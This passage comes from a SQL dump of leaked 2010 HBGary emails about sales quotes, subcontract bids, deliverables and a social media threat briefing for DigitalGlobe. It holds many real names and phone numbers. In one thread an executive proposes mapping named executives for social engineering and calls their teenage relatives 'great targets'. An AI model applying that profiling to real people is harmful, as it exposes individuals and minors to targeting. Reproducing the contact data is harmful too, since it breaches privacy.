you.\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5657,'aaron_hbgary_com/5657.html'),(11544,'2010-09-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008718.M199826P14101Q6399.eml','carma@hbgary.com,carma@hbgary.com,','SecDev needs a quote','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n&nbsp;\r\n\r\nAaron at HBGary Federal wants to sell 1 Responder Pro, DDNA\r\nand maintenance to SecDev in Canada.&nbsp; They don&#8217;t have much money and\r\nthey said they would buy before Sept 30, so Aaron offered them a 30% discount\r\nwith approval from Penny.&nbsp; Please send a quote for SecDev which Aaron will\r\nforward to them.\r\n\r\n&nbsp;\r\n\r\nI asked Aaron if HBG Fed would be the reseller.&nbsp; He\r\nsaid he would prefer the transaction to go through HBGary.&nbsp; Ask Penny\r\nabout a finder&#8217;s fee for HBG Fed.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3701,'aaron_hbgary_com/3701.html'),(11545,'2010-09-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008718.M538686P14101Q6400.eml','\"Kevin Spease\" <kevin.spease@gmail.com>,\"Kevin Spease\" <kevin.spease@gmail.com>,','Re: Social Media / Info Recon Training','Kevin,\r\n\r\nThank you for your thoughtful response and feedback.  I think Aaron\r\naddressed your questions in his response and I am now looking at our\r\ndraft brochure to see if I can hit some of these discussion points.\r\nWe plan to have a class in our HBGary facility in December.  If there\r\nis enough ISSA member interest (15+ people) we could potentially hold\r\na class just for you, at your chapter facility.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Sep 8, 2010 at 1:55 PM, Kevin Spease  wrote:\r\n> We can help promote it.\r\n> It would be no problem to put it in our email blast and place a few fliers\r\n> on the table at the meeting.  We don\'t charge a fee for that.  And, given\r\n> HBGary\'s support earlier this year, it won\'t be a problem.\r\n>\r\n> But I do have some comments / questions about the program overall...\r\n>\r\n> 1) From the brochure, I get the impression that the course deals with an\r\n> enterprise being the primary target with the employee being an unwitting\r\n> dupe (attacking the company THRU the employee).  Now that companies are\r\n> presenting themselves in social media, are they making critical errors that\r\n> need remediation / consideration?  Is that covered in the course?\r\n> 2) \"Risk\" is always a discussion that makes people bristle (at least it does\r\n> me due to the subjective nature).  However, is there a way to determine a\r\n> company\'s \"risk profile\" (How \"exposed\" am I?) and is that covered in the\r\n> course?\r\n> 3) I see several course delivery methods.  What did you envision for the\r\n> courses in Sacramento?  On ground at the HBGary facility?\r\n>\r\n> It is an interesting course - I think it would be good.  I think the primary\r\n> issue is helping companies to answer the \"So What\" question.  My general\r\n> impression is that most companies believe there is very little they can do.\r\n> So, it seems that calling them to action will be a challenge.  If they\r\n> think, \"who cares\" and \"nothing I can do about it\" then you would have a\r\n> tough sell... Right?\r\n>\r\n> On Wed, Sep 8, 2010 at 11:22 AM, Ted Vera  wrote:\r\n>>\r\n>> This time with attachment...\r\n>>\r\n>> On Wed, Sep 8, 2010 at 12:20 PM, Ted Vera  wrote:\r\n>> > Hi Mark & Kevin\r\n>> >\r\n>> > HBGary Federal would like to offer a 20% discount to ISSA Colorado\r\n>> > Springs and Sacramento members for our Social Media & Information\r\n>> > Reconnaissance training between now and the end of this year.  Draft\r\n>> > brochure attached.  I\'d appreciate any comments/feedback/suggestions.\r\n>> > Is this something you can help promote?\r\n>> >\r\n>> > Thanks,\r\n>> > Ted\r\n>> >\r\n>> > --\r\n>> > Ted Vera  |  President  |  HBGary Federal\r\n>> > Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> > www.hbgary.com  |  ted@hbgary.com\r\n>> >\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal\r\n>> Office 916-459-4727x118  | Mobile 719-237-8623\r\n>> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10048,'aaron_hbgary_com/10048.html'),(11546,'2010-09-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008718.M955975P14101Q6401.eml','\"Barr Aaron\" <aaron@hbgary.com>','Sales Tax','http://www.colorado.gov/cs/Satellite?blobcol=urldata&blobheader=application%2Fpdf&blobheadername1=Content-Disposition&blobheadername2=MDT-Type&blobheadervalue1=inline%3B+filename%3D9%2F515%2F24-27_SBA_2008_ColoradoSalesTax.pdf&blobheadervalue2=abinary%3B+charset%3DUTF-8&blobkey=id&blobtable=MungoBlobs&blobwhere=1224913300867&ssbinary=true\r\n\r\n\r\n-- \r\nTed\r\n',9043,'aaron_hbgary_com/9043.html'),(11547,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008719.M154870P14101Q6402.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Request for Proposal - Gatorbait Subcontractor Pricing','Yes.  Or chantilly.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 9, 2010, at 4:55 PM, Ted Vera  wrote:\r\n\r\n> Is this work in the McLean area?\r\n>\r\n>\r\n> ---------- Forwarded message ----------\r\n> From: Ott, Stephen D \r\n> Date: Thu, Sep 9, 2010 at 1:57 PM\r\n> Subject: Request for Proposal - Gatorbait Subcontractor Pricing\r\n> To: ted@hbgary.com\r\n> Cc: Aaron Barr , \"Simpson, Patrick B\"\r\n> \r\n>\r\n>\r\n> Ted,\r\n>\r\n>\r\n>\r\n> Please provide your response to this Request for Proposal no later\r\n> than 1200 hours, Monday 13 September 2010 for the labor categories\r\n> listed on the attached statement of work (SOW). Please use the\r\n> following guidelines when constructing your price submission:\r\n>\r\n>\r\n>\r\n> The Period of Performance for this work will be from 11 March 2011 -\r\n> 10 March 2012, with four  1-Year Option periods.\r\n> Escalation is capped at 3%\r\n> Team members with DCAA approved accounting systems submit Cost Rates without Fee\r\n> Team members without DCAA approved accounting systems submit T&M\r\n> rates.  Fee will be capped at 7%\r\n> Cost will be based on FTE Hours of 1,860\r\n>\r\n> Please note that rates submitted in response to this request will be\r\n> established for any resulting IDIQ subcontract, and used by ManTech in\r\n> its proposals for the SPURRIER Task Order and all future task orders.\r\n> If you have any questions, please do not hesitate to contact me.\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments)\r\n> are company-confidential and/or proprietary. Unless you are the\r\n> addressee (or authorized to receive for the addressee), you may not\r\n> use, copy, disclose or distribute this email or any of the contents of\r\n> this email.  If you received this email in error, please promptly\r\n> notify the sender by reply email and delete this email from your\r\n> records.  Thank you.\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',12180,'aaron_hbgary_com/12180.html'),(11548,'2010-09-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008719.M385241P14101Q6403.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Final Deliverables','Begin forwarded message:From: Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nDate: September 9, 2010 3:37:04 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Cc: Ira Entis &lt;Ira.Entis@agilex.com&gt;, John Harllee &lt;John.Harllee@agilex.com&gt;, &quot;Paul Burkard (BIC)&quot; &lt;Paul.Burkard@agilex.com&gt;, George Murray &lt;George.Murray@agilex.com&gt;, Randall Rios &lt;Randall.Rios@agilex.com&gt;\r\nSubject: RE: Final DeliverablesTed - This is the approval we needed for the deliverable.  Please send me HbGary hours and travel receipts so we can bill LANL.  Great job by you and Mark as LANL felt this was a good job.  Thanks\r\n________________________________________From: Taylor, David A [dataylor@lanl.gov]Sent: Thursday, September 09, 2010 1:05 PM\r\nTo: Ted Vera; Jerry McClureCc: Martinez, Timmy L; Villareal, Terri LSubject: RE: Final DeliverablesEverything looks good to me.I will work with purchasing to get the PO received so that it can be invoiced.\r\nThanks.dat-----Original Message-----From: Taylor, David ASent: Thursday, September 09, 2010 10:05 AM\r\nTo: &#39;Ted Vera&#39;Cc: Jerry McClure; &#39;Martinez, Timmy L&#39;Subject: RE: Final DeliverablesFrom Tues 3:09P?They were thrown in my junk mail.\r\nThat&#39;s cyber security for you.I need a couple of hours to review.Thanks.dat-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Thursday, September 09, 2010 8:52 AMTo: Taylor, David ACc: Jerry McClureSubject: Re: Final Deliverables\r\nHi David,In the message thread below I sent the finals, can you double checkthat you received them? I can resend if you did not.\r\nTedOn Sep 9, 2010, at 8:36 AM, &quot;Taylor, David A&quot; &lt;dataylor@lanl.gov&gt; wrote:\r\nI have yet to receive the final documents.I only have the drafts.\r\ndat-----Original Message-----From: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\nSent: Thursday, September 09, 2010 4:15 AMTo: &#39;Ted Vera&#39;; Taylor, David A\r\nSubject: RE: Final DeliverablesDavid - Any issue in not approving these deliverables?  Thanks\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, September 07, 2010 5:08 PMTo: dataylor@lanl.gov\r\nCc: Jerry McClureSubject: Final Deliverables\r\nHello David,Attached are the final contract deliverables as specified below:\r\nContract Deliverables:1:  Written review of the proposed solution with suggestions for improvements.\r\n2:  Red Team Review, renamed &quot;Security Assessment Review&quot;, as requested.3:  Final report with recommendations and analysis of the potential vulnerabilities.\r\nPlease review and reply to all with a statement that these are accepted as final.\r\nRegards,Ted\r\n',1718,'aaron_hbgary_com/1718.html'),(11549,'2010-09-09','\"Daniel Collender\" <dcollend@digitalglobe.com>','/aaron@hbgary.com/new/1297008719.M604466P14101Q6404.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Material','Hi Aaron,\r\n\r\nApologies for not getting back to you sooner, but we have been in\r\nmeetings all day.\r\n\r\nWalter and Scott are fine with you performing a social media threat\r\nanalysis. We would like to share the information with them before the\r\npresentation just in case there is anything sensitive discovered that we\r\nwould prefer not to put in a public presentation.\r\n\r\nScott Hicar will actually not be able to join the meeting so I was\r\nhoping we could find a third target. \r\n\r\nYou are welcome to use any of the following Information Security team\r\nmembers who will be in attendance in the meeting:\r\nDaniel Collender\r\nBrian Coulson\r\nJeremy Ehlert\r\n\r\nPlease let me know if you need anything else from me prior to Monday\'s\r\nmeeting.\r\n\r\nLooking forward to seeing you here in Colorado on Monday.\r\n\r\nBest,\r\nDan\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 7:55 AM\r\nTo: Daniel Collender\r\nSubject: Re: Social Media Material\r\n\r\n* PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AM\r\n\r\nDaniel,\r\n\r\nI can do a social map on Walter and Scott showing the information\r\navailable and potential attack vectors to them personally.  Is that a\r\nbit over the top or do you think they would resonate with that.  Based\r\non their social profiles they both seem to be outgoing, social people.\r\nIf that seems a bit to close to home I will just back it out a bit and\r\ntalk generically about using social media as a targeting, social\r\nengineering, and attack tool.\r\n\r\nNice thing is both Scott and Walter have FB pages that have their\r\nfriends list open, very detailed LinkedIn pages.  Social Engineering\r\nthem would be easy.  They either have kids or nephews in HS with FB\r\npages that are wide open as well (great targets - very socially\r\npromiscuous).\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I think that would be excellent.\r\n> \r\n> Can you work with Maria to make sure that time allotted for your\r\n> presentation on the agenda she is working on?\r\n> \r\n> We have two hours planned. The first hour is the high-level APT\r\noverview\r\n> with many executives in attendance. The second hour is the solutions\r\n> discussion.\r\n> \r\n> Best,\r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 9:54 AM\r\n> To: Daniel Collender\r\n> Subject: Social Media Material\r\n> \r\n> > Old - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n> \r\n> Daniel,\r\n> \r\n> I think I may be in Colorado early next week and if so was planning on\r\n> coming up to the meeting on Monday to present some social media\r\nmaterial if\r\n> that is fine with you.\r\n> \r\n> Aaron\r\n> \r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n\r\n\r\n* Aaron Barr \r\n* Issuer: \"VeriSign\r\n',9989,'aaron_hbgary_com/9989.html'),(11550,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008719.M859455P14101Q6405.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Fwd: Social Media Material','Should be fun.  Already have a good amount of data.AaronSent from my iPhoneBegin forwarded message:\r\nFrom: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;Date: September 9, 2010 6:58:16 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Social Media MaterialHi Aaron,Apologies for not getting back to you sooner, but we have been in\r\nmeetings all day.Walter and Scott are fine with you performing a social media threatanalysis. We would like to share the information with them before the\r\npresentation just in case there is anything sensitive discovered that wewould prefer not to put in a public presentation.Scott Hicar will actually not be able to join the meeting so I was\r\nhoping we could find a third target. You are welcome to use any of the following Information Security teammembers who will be in attendance in the meeting:\r\nDaniel CollenderBrian CoulsonJeremy EhlertPlease let me know if you need anything else from me prior to Monday&#39;smeeting.\r\nLooking forward to seeing you here in Colorado on Monday.Best,Dan-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, September 08, 2010 7:55 AMTo: Daniel CollenderSubject: Re: Social Media Material\r\n* PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AMDaniel,I can do a social map on Walter and Scott showing the informationavailable and potential attack vectors to them personally.  Is that a\r\nbit over the top or do you think they would resonate with that.  Basedon their social profiles they both seem to be outgoing, social people.If that seems a bit to close to home I will just back it out a bit and\r\ntalk generically about using social media as a targeting, socialengineering, and attack tool.Nice thing is both Scott and Walter have FB pages that have their\r\nfriends list open, very detailed LinkedIn pages.  Social Engineeringthem would be easy.  They either have kids or nephews in HS with FBpages that are wide open as well (great targets - very socially\r\npromiscuous).AaronOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:Hi Aaron,\r\nI think that would be excellent.\r\nCan you work with Maria to make sure that time allotted for yourpresentation on the agenda she is working on?\r\nWe have two hours planned. The first hour is the high-level APToverviewwith many executives in attendance. The second hour is the solutions\r\ndiscussion.Best,Dan\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AMTo: Daniel CollenderSubject: Social Media Material\r\nOld - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\nDaniel,I think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social mediamaterial ifthat is fine with you.\r\nAaron* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign* Aaron Barr &lt;aaron@hbgary.com&gt;* Issuer: &quot;VeriSign\r\n\r\n',7083,'aaron_hbgary_com/7083.html'),(11551,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008720.M302697P14101Q6407.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: SecDev needs a quote','Can we get them a quote today?AaronSent from my iPhoneOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n \r\n\r\nAaron at HBGary Federal wants to sell 1 Responder Pro, DDNA\r\nand maintenance to SecDev in Canada.  They don’t have much money and\r\nthey said they would buy before Sept 30, so Aaron offered them a 30% discount\r\nwith approval from Penny.  Please send a quote for SecDev which Aaron will\r\nforward to them.\r\n\r\n \r\n\r\nI asked Aaron if HBG Fed would be the reseller.  He\r\nsaid he would prefer the transaction to go through HBGary.  Ask Penny\r\nabout a finder’s fee for HBG Fed.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15874,'aaron_hbgary_com/15874.html'),(11552,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008720.M624888P14101Q6408.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"MarkTrynor\" <mark@hbgary.com>','Fwd: Digital DNA API','Is this out?Begin forwarded message:From: &quot;Powell, Patrick K (TASC)&quot; &lt;patrick.powell@TASC.COM&gt;\r\nDate: September 9, 2010 5:52:40 PM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: Digital DNA API\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n                A\r\ncouple of my folks ran into you guys at Black Hat this year and were told that\r\nan API for Digital DNA was available.  Can we get access to that?  We\r\nwould like to begin looking at how we can integrate it into our processes. \r\n\r\n\r\n \r\n\r\nThanks,\r\n\r\nPatrick Powell\r\n\r\n(O) 210-925-2209\r\n\r\n(C) 210-748-0821\r\n\r\n\r\n',14516,'aaron_hbgary_com/14516.html'),(11553,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008720.M84707P14101Q6406.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Material','Ok great.  I have been amazed doing a little research.  You have a\r\nvery connected company, and a very connected executive. I haven\'t dove\r\ninto the directors or senior managers much but imagine it will be\r\nsimilar to more pronounced.  See you Monday.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 9, 2010, at 6:58 PM, \"Daniel Collender\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> Apologies for not getting back to you sooner, but we have been in\r\n> meetings all day.\r\n>\r\n> Walter and Scott are fine with you performing a social media threat\r\n> analysis. We would like to share the information with them before the\r\n> presentation just in case there is anything sensitive discovered that we\r\n> would prefer not to put in a public presentation.\r\n>\r\n> Scott Hicar will actually not be able to join the meeting so I was\r\n> hoping we could find a third target.\r\n>\r\n> You are welcome to use any of the following Information Security team\r\n> members who will be in attendance in the meeting:\r\n> Daniel Collender\r\n> Brian Coulson\r\n> Jeremy Ehlert\r\n>\r\n> Please let me know if you need anything else from me prior to Monday\'s\r\n> meeting.\r\n>\r\n> Looking forward to seeing you here in Colorado on Monday.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 08, 2010 7:55 AM\r\n> To: Daniel Collender\r\n> Subject: Re: Social Media Material\r\n>\r\n> * PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AM\r\n>\r\n> Daniel,\r\n>\r\n> I can do a social map on Walter and Scott showing the information\r\n> available and potential attack vectors to them personally.  Is that a\r\n> bit over the top or do you think they would resonate with that.  Based\r\n> on their social profiles they both seem to be outgoing, social people.\r\n> If that seems a bit to close to home I will just back it out a bit and\r\n> talk generically about using social media as a targeting, social\r\n> engineering, and attack tool.\r\n>\r\n> Nice thing is both Scott and Walter have FB pages that have their\r\n> friends list open, very detailed LinkedIn pages.  Social Engineering\r\n> them would be easy.  They either have kids or nephews in HS with FB\r\n> pages that are wide open as well (great targets - very socially\r\n> promiscuous).\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I think that would be excellent.\r\n>>\r\n>> Can you work with Maria to make sure that time allotted for your\r\n>> presentation on the agenda she is working on?\r\n>>\r\n>> We have two hours planned. The first hour is the high-level APT\r\n> overview\r\n>> with many executives in attendance. The second hour is the solutions\r\n>> discussion.\r\n>>\r\n>> Best,\r\n>> Dan\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 9:54 AM\r\n>> To: Daniel Collender\r\n>> Subject: Social Media Material\r\n>>\r\n>>> Old - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n>>\r\n>> Daniel,\r\n>>\r\n>> I think I may be in Colorado early next week and if so was planning on\r\n>> coming up to the meeting on Monday to present some social media\r\n> material if\r\n>> that is fine with you.\r\n>>\r\n>> Aaron\r\n>>\r\n>> * Aaron Barr \r\n>> * Issuer: \"VeriSign\r\n>\r\n>\r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n',8601,'aaron_hbgary_com/8601.html'),(11554,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008721.M246226P14101Q6410.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: SecDev needs a quote','Bob,Can u do this?AaronSent from my iPhoneOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n \r\n\r\nAaron at HBGary Federal wants to sell 1 Responder Pro, DDNA\r\nand maintenance to SecDev in Canada.  They don’t have much money and\r\nthey said they would buy before Sept 30, so Aaron offered them a 30% discount\r\nwith approval from Penny.  Please send a quote for SecDev which Aaron will\r\nforward to them.\r\n\r\n \r\n\r\nI asked Aaron if HBG Fed would be the reseller.  He\r\nsaid he would prefer the transaction to go through HBGary.  Ask Penny\r\nabout a finder’s fee for HBG Fed.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9586,'aaron_hbgary_com/9586.html'),(11555,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008721.M34291P14101Q6409.eml','\"Chisholm Chris\" <robert.chisholm@baesystems.com>,\"Joe Maier\" <raymond.maier@baesystems.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Delivery Status Notification (Delay)','Is there a problem with Joes email Acct?Begin forwarded message:From: Mail Delivery Subsystem &lt;mailer-daemon@googlemail.com&gt;\r\nDate: September 9, 2010 5:31:38 PM MDTTo: ted@hbgary.comSubject: Delivery Status Notification (Delay)\r\nThis is an automatically generated Delivery Status NotificationTHIS IS A WARNING MESSAGE ONLY.YOU DO NOT NEED TO RESEND YOUR MESSAGE.\r\nDelivery to the following recipient has been delayed:     raymond.maier@baesystems.com\r\nMessage will be retried for 2 more day(s)Technical details of temporary failure: The recipient server did not accept our requests to connect. Learn more at http://mail.google.com/support/bin/answer.py?answer=7720 \r\n[dmzms99902.na.baesystems.com. (5): Connection timed out][dmzms99901.na.baesystems.com. (5): Connection timed out]\r\n[dmzms99802.na.baesystems.com. (20): Connection timed out][dmzms99801.na.baesystems.com. (20): Connection timed out]\r\n----- Original message -----MIME-Version: 1.0Received: by 10.223.122.14 with SMTP id j14mr98256far.63.1283983332816; Wed, 08 Sep 2010 15:02:12 -0700 (PDT)\r\nReceived: by 10.223.124.146 with HTTP; Wed, 8 Sep 2010 15:02:12 -0700 (PDT)In-Reply-To: &lt;DD6153F3-9E2E-4A1D-AE3A-75C8A85FE3AA@hbgary.com&gt;\r\nReferences: &lt;AANLkTikncuktFw3Svn2xe1FTQrOZ5t785gjAMUvhq-kP@mail.gmail.com&gt;	&lt;D3EDFD26-592B-4E23-9A1C-D66F98976212@hbgary.com&gt;\r\n	&lt;1BAB18504E255141A6EA25DE097D49931C6986B8A5@GLDMS99933.goldlnk.rootlnka.net&gt;\r\n	&lt;DD6153F3-9E2E-4A1D-AE3A-75C8A85FE3AA@hbgary.com&gt;Date: Wed, 8 Sep 2010 16:02:12 -0600\r\nMessage-ID: &lt;AANLkTimenVLtTAdJAqF1MPt2pDsrm_w-L+Sf2LHF5nsE@mail.gmail.com&gt;Subject: Re: Classified Capabilities Brief\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;To: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: &quot;Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)&quot; &lt;raymond.maier@baesystems.com&gt;\r\nContent-Type: text/plain; charset=ISO-8859-1Content-Transfer-Encoding: quoted-printableJoe,Aaron is going to be in Colorado next Monday for a meeting in Denver.\r\nIs it possible to schedule a classified briefing with the customerearly Monday (8am-9am), or early Tuesday (before noon)?  We need toknow ASAP, so Aaron can plan his trip accordingly.\r\nThanks,TedOn Tue, Sep 7, 2010 at 10:26 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nJoe,Looks like I am going to be in town early next week.  Any availability to have the discussion we were working towards?\r\nAaronOn Sep 1, 2010, at 12:11 PM, Maier, Raymond Joe (US SSA) (US ASTSS Huntsville) wrote:\r\nAaron,I am with a customer most of today. I will send you a note when free.\r\n\r\nJoe Maier719.235.1898 - Mobile\r\n719.325.8445 - Work\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, 01 September, 2010 09:06 AMTo: Ted Vera\r\nCc: Maier, Raymond &quot;Joe&quot; (US SSA) (US ASTSS Huntsville)\r\nSubject: Re: Classified Capabilities Brief\r\nHi Joe,Can I give you a call to talk a little about the opportunity and we can discuss when is a good time to come out?\r\nAaron\r\nOn Aug 30, 2010, at 12:54 PM, Ted Vera wrote:\r\nHi Joe,\r\nI just spoke with Aaron (cc&#39;d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\n\r\nFeel free to coordinate directly with Aaron -- cell:  719-510-8478.\r\nRegards,\r\nTed\r\n\r\n',13866,'aaron_hbgary_com/13866.html'),(11556,'2010-09-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008721.M658727P14101Q6411.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: SecDev needs a quote','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nQuote is attached.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n&nbsp;\r\n\r\nAaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.&nbsp; They don&#8217;t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp;\r\nPlease send a quote for SecDev which Aaron will forward to them.\r\n\r\n&nbsp;\r\n\r\nI\r\nasked Aaron if HBG Fed would be the reseller.&nbsp; He said he would prefer the\r\ntransaction to go through HBGary.&nbsp; Ask Penny about a finder&#8217;s fee for HBG\r\nFed.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14782,'aaron_hbgary_com/14782.html'),(11557,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008721.M948740P14101Q6412.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Fwd: SecDev needs a quote','Sorry for delay.AaronSent from my iPhoneBegin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: September 9, 2010 8:18:08 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Cc: &lt;carma@hbgary.com&gt;, 